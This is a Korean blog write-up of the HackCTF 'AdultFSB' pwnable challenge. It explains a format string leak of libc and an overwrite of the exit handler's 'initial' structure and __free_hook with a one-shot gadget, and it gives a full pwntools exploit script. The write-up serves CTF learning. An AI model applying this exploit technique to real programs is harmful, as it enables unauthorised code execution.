tmxklab

[HackCTF/Pwnable] AdultFSB 본문

War Game/HackCTF

[HackCTF/Pwnable] AdultFSB

tmxk4221 2020. 8. 20. 17:45

 

exit()함수 내부에 존재하는 free함수를 이용한 exploit

 


1. 문제

nc ctf.j0n9hyun.xyz 3040

 

1) mitigation 확인

 

2) 문제 확인

  • 두 번의 입력을 받고 출력해준뒤 프로그램이 종료된다.

 

 

3) 코드 흐름 확인

3-1) main()

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+Ch] [rbp-144h]
  char buf; // [rsp+10h] [rbp-140h]
  unsigned __int64 v5; // [rsp+148h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  Init(argc, argv, envp);
  for ( i = 0; i <= 1; ++i )
  {
    read(0, &buf, 0x12CuLL);
    printf(&buf);
  }
  exit(0);
}
  • read()를 통해 buf[rbp-0x140]에 0x12cbytes만큼 입력을 받는다.
  • printf()를 통해 포맷 지정자없이 buf변수의 값을 출력한다. → FSB취약점
  • 위 과정을 2번 반복한다.
  • for문이 종료되면 exit()가 호출되면서 프로그램이 종료된다.

 

 


2. 접근방법

 

1) leak libc

 

먼저, printf함수 호출 직전 rsp로부터 스택 상황을 살펴보자

  • 매우 멀리 떨어진 곳에 __libc_start_main+240주소가 보인다. 
  • 저거를 leak하면 libc base주소 찾는 거 it's ssab ganeung

  • 입력 값 "%p%p%p..."를 주었을 때 %p가 출력되는 시점은 8번째 부터이다.
  • 쭉 계산하다보면 0x7ffff7a2d840의 위치는 49번째이다.
  • 따라서, %49$p를 하면 __libc_start_main+240 주소가 릭 될 것이다.

  • it's good

 

2) exit()함수 내부 동작을 이용한 exploit

 

위에서 릭을 통해 libc base주소를 구하고 한 번더 fsb가 가능한 상황이다.

여기서 main함수 마지막에 exit()함수를 호출하는 부분을 이용하여 익스를 할 것이다.

 

처음에 몰랐는데 롸업을 보면서 exit함수 내부에 free함수를 호출하는 루틴이 존재하는 것을 알게 되었다.

익스하는 방법은 free_hook에 원샷 가젯 주소를 넣고 exit함수 내부에 free함수를 호출할 수 있도록 어떠한 값을 변경해주면 된다.

이제 exit함수 내부 동작을 살펴보자

 

exit()

void __fastcall __noreturn exit(__int64 a1)
{
  sub_39F10(a1, (unsigned __int64)&off_3C45F8, 1);
}
  • sub_39f10을 호출한다.

 

sub_39f10()

void __fastcall __noreturn sub_39F10(__int64 status, unsigned __int64 a2, char a3)
{
  char v3; // r12
  _QWORD **v4; // rbp
  _QWORD *v5; // r13
  __int64 v6; // rax
  __int64 v7; // rdx
  __int64 *v8; // rcx
  bool v9; // zf
  void (**v10)(void); // rbp
  __int64 v11; // rax

  v3 = a3;
  v4 = (_QWORD **)a2;
  _call_tls_dtors(status, a2);
  while ( 1 )
  {
    v5 = *v4;
    if ( !*v4 )
    {
LABEL_9:
      if ( v3 )
      {
        v10 = (void (**)(void))off_3C08D8;
        if ( off_3C08D8 < off_3C08E0 )
        {
          do
          {
            (*v10)();
            ++v10;
          }
          while ( v10 < (void (**)(void))off_3C08E0 );
        }
      }
      exit(status);
    }
LABEL_3:
    while ( 1 )
    {
      v6 = v5[1];
      v7 = 32LL * v5[1];
      v8 = (_QWORD *)((char *)v5 + v7 - 16);
      if ( !v6 )
        break;
      while ( 1 )
      {
        v5[1] = --v6;
        v7 = *v8;
        if ( *v8 == 3 )
          break;
        if ( v7 == 4 )
        {
          a2 = (unsigned int)status;
          ((void (__fastcall *)(_QWORD, _QWORD))(__readfsqword(0x30u) ^ __ROR8__(v5[4 * v6 + 3], 17)))(
            v5[4 * v6 + 4],
            (unsigned int)status);
          goto LABEL_3;
        }
        if ( v7 == 2 )
        {
          v11 = (__int64)&v5[4 * v6];
          a2 = *(_QWORD *)(v11 + 32);
          ((void (__fastcall *)(_QWORD, unsigned __int64))(__readfsqword(0x30u) ^ __ROR8__(*(_QWORD *)(v11 + 24), 17)))(
            (unsigned int)status,
            a2);
          goto LABEL_3;
        }
        v8 -= 4;
        if ( !v6 )
          goto LABEL_8;
      }
      ((void (*)(void))(__readfsqword(0x30u) ^ __ROR8__(v5[4 * v6 + 3], 17)))();
    }
LABEL_8:
    v9 = *v5 == 0LL;
    *v4 = (_QWORD *)*v5;
    if ( v9 )
      goto LABEL_9;
    j_free((__int64)v5, a2, v7, (__int64)v8);
  }
}
  • 다른거는 볼 필요 없이 마지막 부분에 j_free()를 확인해보자

 

j_free()

__int64 __fastcall j_free(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
  return free(a1, a2, a3, a4);
}
  • 여기서 free함수가 호출되는 것을 확인할 수 있다.

 

일반적인 경우 free함수가 호출되지 않고 종료되므로 free함수가 호출되는 루틴을 한 번 ida와 gdb를 통해 확인해보자

  • exit함수 내부에서 __run_exit_handlers()를 호출한다.

 

  • __run_exit_handlers()내부에서 __call_tls_dtors()를 호출하고 __run_exit_handlers+30에서 분기한다. 일반적인 경우 오른쪽으로 이동한다.

 

  • 오른쪽 분기로 넘어오고 test rax, rax를 통해 flag값이 세팅된 다음 jz short loc_39f6f 에서 다시 분기되는데 이 때, 왼쪽으로 가면 j_free를 호출 할 수 있다.
  • jz명령어는 Z플래그가 제로이면 점프하는 것이고 왼쪽분기로 갈 수 있다.

 

여기서 중요한 부분은 test rax, rax이므로 rax값이 어떻게 세팅되는지 살펴보자

  • r13+0x8위치에 존재하는 값을 rax에 저장하고 test rax, rax를 하게 된다.
  • test명령어는 오퍼랜드끼리 and연산 과정을 거쳐 결과 값을 Z플래그를 세팅하게 된다. 즉, test rax, rax는 rax값이 0인지 아닌지 확인하는 명령이다.
  • 만일, rax값이 0이면 Z플래그가 세팅될 것이다.

  • r13+8에는 0x1로 세팅된 것을 확인할 수 있다.

  • 결국, ZF플래그가 세팅되지 않아 오른쪽 분기로 빠져 j_free를 실행할 수 없게 된다.

 

그럼 $set명령어를 통해 rax값에 0으로 세팅하고 확인해보자

  • 왼쪽 분기로 넘어온 상태이며 마지막으로 test rax, rax를 통해 분기를 하게 된다.
  • 이번엔 rax를 [r13+0]에 있는 값을 가져와서 test명령어를 수행한다.
  • 아까와는 다르게 rax에 있는 값이 0이 아니면 오른쪽 분기로 이동하여 j_free함수를 호출할 수 있다.

  • 하지만, r13에는 0이 존재하여 j_free함수를 호출할 수 없다.
  • 따라서, 마지막 분기에서는 r13에 0이 아닌 값을 넣으면 j_free함수를 호출하여 결과적으로 free함수를 호출할 수 있을 것이다.

 

요약)

  • exit() → __run_exit_handlers() → j_free() → free()
  • 일반적인 경우 __run_exit_handlers()에서 j_free를 호출하지 않음
  • 따라서, j_free함수를 호출하기 위해서 2개의 분기문에서 j_free함수로 호출되도록 해야함
  • 조건은 r13+0에 있는 값이 0이 아니면 되고 r13+8에 있는 값이 0이면 j_free함수를 호출할 수 있다.
  • 이 때, r13은 initial구조체 주소 값이다.

 

initial 구조체)

  • initial+0에는 0이 아닌 값, initial+8에는 0을 넣으면 된다.

 

결론적으로 GOT Overwrite가 가능하지 않은 상황에서 free_hook에 원샷 가젯을 넣고 exit함수 내부에서 free를 호출하도록 루틴을 바꿔 익스할 수 있다.

 

공격 프로세스)

  • 첫 번째 fsb를 통해 __libc_start_main+240주소를 릭하여 libc base주소를 구한다.
  • 두 번째 fsb를 통해 *(initial+0) = 0이 아닌 값, *(initial+8) = 0으로 세팅하고 free_hook주소에 원샷 가젯을 넣는다.

 

 


3. 풀이

 

1) 원샷 가젯

 

2) initial 위치

  • libc에서 initial이라는 심볼 정보가 없어서 0x60만큼 떨어진 곳에 __abort_msg심볼을 이용하여 initial위치 계산

 

3) 익스코드

from pwn import *

context.log_level = "debug"

#p = process("./adult_fsb")
p = remote("ctf.j0n9hyun.xyz", 3040)
e = ELF("./adult_fsb")
libc = ELF("/home/cmc/Desktop/lib_hack/adultfsb/libc.so.6")
#gdb.attach(p, """b*0x40075a""")

libc_start_main_offset = libc.symbols['__libc_start_main']
initial_offset = libc.symbols['__abort_msg'] + 0x60
free_hook_offset = libc.symbols['__free_hook']

#oneshot_offset = 0x45216
oneshot_offset = 0x4526a
#oneshot_offset = 0xf02a4
#oneshot_offset = 0xf1147

log.info("libc_start_main_offset : "+hex(libc_start_main_offset))
log.info("free_hook_offset       : "+hex(free_hook_offset))
log.info("initial_offset         : "+hex(initial_offset))

p.sendline("%49$p")

libc_start_main_addr = int(p.recv(14), 16) - 240
libc_base_addr = libc_start_main_addr - libc_start_main_offset
initial_addr = libc_base_addr + initial_offset
free_hook_addr = libc_base_addr + free_hook_offset
oneshot_addr = libc_base_addr + oneshot_offset

oneshot_low = oneshot_addr & 0xffff
oneshot_mid = (oneshot_addr >> 16) & 0xffff
oneshot_high = (oneshot_addr >> 32) & 0xffff


log.info("libc_start_main_addr : "+hex(libc_start_main_addr))
log.info("libc_base_addr       : "+hex(libc_base_addr))
log.info("initial_addr         : "+hex(initial_addr))
log.info("free_hook_addr       : "+hex(free_hook_addr))
log.info("oneshot_addr         : "+hex(oneshot_addr))
log.info("oneshot_low          : "+hex(oneshot_low))
log.info("oneshot_mid          : "+hex(oneshot_mid))
log.info("oneshot_high         : "+hex(oneshot_high))


if oneshot_mid > oneshot_low:
	oneshot_mid = oneshot_mid - oneshot_low
else:
	oneshot_mid = 0x10000 + oneshot_mid - oneshot_low

if oneshot_high > (oneshot_mid + oneshot_low):
	oneshot_high = oneshot_high - oneshot_mid - oneshot_low
else:
	oneshot_high = 0x10000 + oneshot_high - oneshot_mid - oneshot_low


payload = "%{}c".format(1)
payload += "%16$hn"
payload += "%{}c".format(1)
payload += "%17$hn"
payload += "%{}c".format(oneshot_low-2)
payload += "%18$hn"
payload += "%{}c".format(oneshot_mid)
payload += "%19$hn"
payload += "%{}c".format(oneshot_high)
payload += "%20$hn"
payload += "A"*(8-len(payload)%8)
payload += p64(initial_addr)
payload += p64(initial_addr+7)
payload += p64(free_hook_addr)
payload += p64(free_hook_addr+2)
payload += p64(free_hook_addr+4)

p.sendafter("\n", payload)

p.interactive()
  • *(initial+8) = 0으로 세팅하기 위해서 *(initial+8)보다 1byte낮은 initial+7에 2bytes를 0x0002로 세팅했다.

 

4) 실행결과

 


4. 몰랐던 개념

 

1) exit내부 동작을 이용한 exploit

 

 

+) 

추가로 exit()함수 내부에 j_free를 호출하는 루틴이 몇 군데 더 있는 것을 확인하였다.

'War Game > HackCTF' 카테고리의 다른 글

[HackCTF/reversing] BabyMIPS  (0) 2021.01.14
[HackCTF/Pwnable] 훈폰정음  (0) 2020.08.27
[HackCTF/Pwnable] Unexploitable #4  (0) 2020.08.15
[HackCTF/Pwnable] ChildFSB  (2) 2020.08.15
[HackCTF/Pwnable] wishilist  (0) 2020.08.15
Comments